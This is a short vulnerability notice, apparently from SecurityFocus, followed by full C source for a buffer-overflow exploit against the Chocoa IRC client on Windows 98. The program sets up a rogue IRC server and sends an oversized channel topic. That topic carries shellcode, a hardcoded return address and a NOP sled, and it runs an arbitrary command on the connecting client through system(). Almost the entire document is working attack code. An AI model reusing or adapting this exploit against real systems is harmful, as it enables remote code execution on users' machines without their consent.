source: http://www.securityfocus.com/bid/573/info The Chocoa IRC client has an unchecked buffer in the code that processes channel topics. If the server returns a topic that overwrites the client's buffer and contains exploit code arbitrary commands can be run on the client system. /*============================================================================= IRC Client CHOCOA Version 1.0beta7R Exploit for Windows98 The Shadow Penguin Security (http://shadowpenguin.backsection.net) Written by UNYUN ([email protected]) R00t Zer0 ([email protected]) ============================================================================= */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #include <errno.h> #include <unistd.h> #include <netdb.h> #include <sys/types.h> #include <sys/time.h> #include <sys/socket.h> #include <sys/wait.h> #include <netinet/in.h> #include <arpa/inet.h> #define RETADR 610 #define JMPADR 606 #define JMPOFS 6 #define BUFEND 2200 #define JMP_EBX_ADR 0xbff7a06b #define CMDLENP 0x41 #define PORT 6667 #define COMMAND "notepad.exe \\autoexec.bat" #define FUNC "msvcrt.dll.system.exit." #define NOP 0x90 #define JMPS 0xeb unsigned char exploit_code[200]={ 0xEB,0x4B,0x5B,0x53,0x32,0xE4,0x83,0xC3,0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77, 0xF7,0xBF,0xFF,0xD0,0x8B,0xD0,0x52,0x43,0x53,0x52,0x32,0xE4,0x83,0xC3,0x06, 0x88,0x23,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x5A,0x43,0x53,0x52, 0x32,0xE4,0x83,0xC3,0x04,0x88,0x23,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B, 0xF8,0x43,0x53,0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,0x33,0xC0,0x50, 0xFF,0xD7,0xE8,0xB0,0xFF,0xFF,0xFF,0x00}; #define OPENING_MSG \ ":irc.hoge.com 001 FUCKER "\ ":Welcome to the Internet Relay Network [email protected]\n"\ ":End of /MOTD command.\n" #define JOIN1 \ ":[email protected] JOIN "\ ":#fuck\n"\ ":irc.hoge.com 353 fucker @ #fuck "\ ":fucker uzee" #define JOIN2 \ ":irc.hoge.com 366 fucker #fuck "\ ":End of /NAMES list.\n" void handleSIGCHLD(int i) { int status; wait(&status); signal(SIGCHLD, handleSIGCHLD); } int main(int argc, char *argv[]) { int serv_sock,cli_sock; int pid,clilen,p,ip; char buff[30000],jank[10000]; struct sockaddr_in serv_addr; struct sockaddr_in cli_addr; signal( SIGCHLD, handleSIGCHLD ); memset(jank,NOP,BUFEND); strcat(exploit_code,FUNC); strcat(exploit_code,COMMAND); exploit_code[CMDLENP]=strlen(COMMAND); strncpy(jank+RETADR+4,exploit_code,strlen(exploit_code)); ip=JMP_EBX_ADR; jank[JMPADR] =JMPS; jank[JMPADR+1]=JMPOFS; jank[RETADR+3]=0xff&(ip>>24); jank[RETADR+2]=0xff&(ip>>16); jank[RETADR+1]=0xff&(ip>>8); jank[RETADR] =ip&0xff; jank[BUFEND] =0; if((serv_sock=socket(PF_INET,SOCK_STREAM,0))<0){ perror("socket"); exit(1); } bzero(( char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = PF_INET; serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); serv_addr.sin_port = htons(PORT); if(bind(serv_sock,(struct sockaddr *)&serv_addr,sizeof(serv_addr))<0){ perror("bind"); exit(1); } listen(serv_sock,5 ); while(1){ clilen = sizeof(cli_addr); cli_sock = accept(serv_sock,(struct sockaddr *)&cli_addr,&clilen); if( cli_sock<0){ if(errno==EINTR) continue; perror("accept" ); exit(1); } if((pid=fork())<0){ perror( "fork" ); exit(1); } if(pid==0){ close(serv_sock); send(cli_sock, OPENING_MSG, strlen(OPENING_MSG),0); send(cli_sock, JOIN1, strlen(JOIN1),0); send(cli_sock, "\n",1,0 ); send(cli_sock, JOIN2, strlen(buff),0); sprintf( buff, ":[email protected] TOPIC #fuck :%s\n", jank ); send(cli_sock, buff, strlen(buff),0); sleep(1800); exit(0); }else close(cli_sock); } }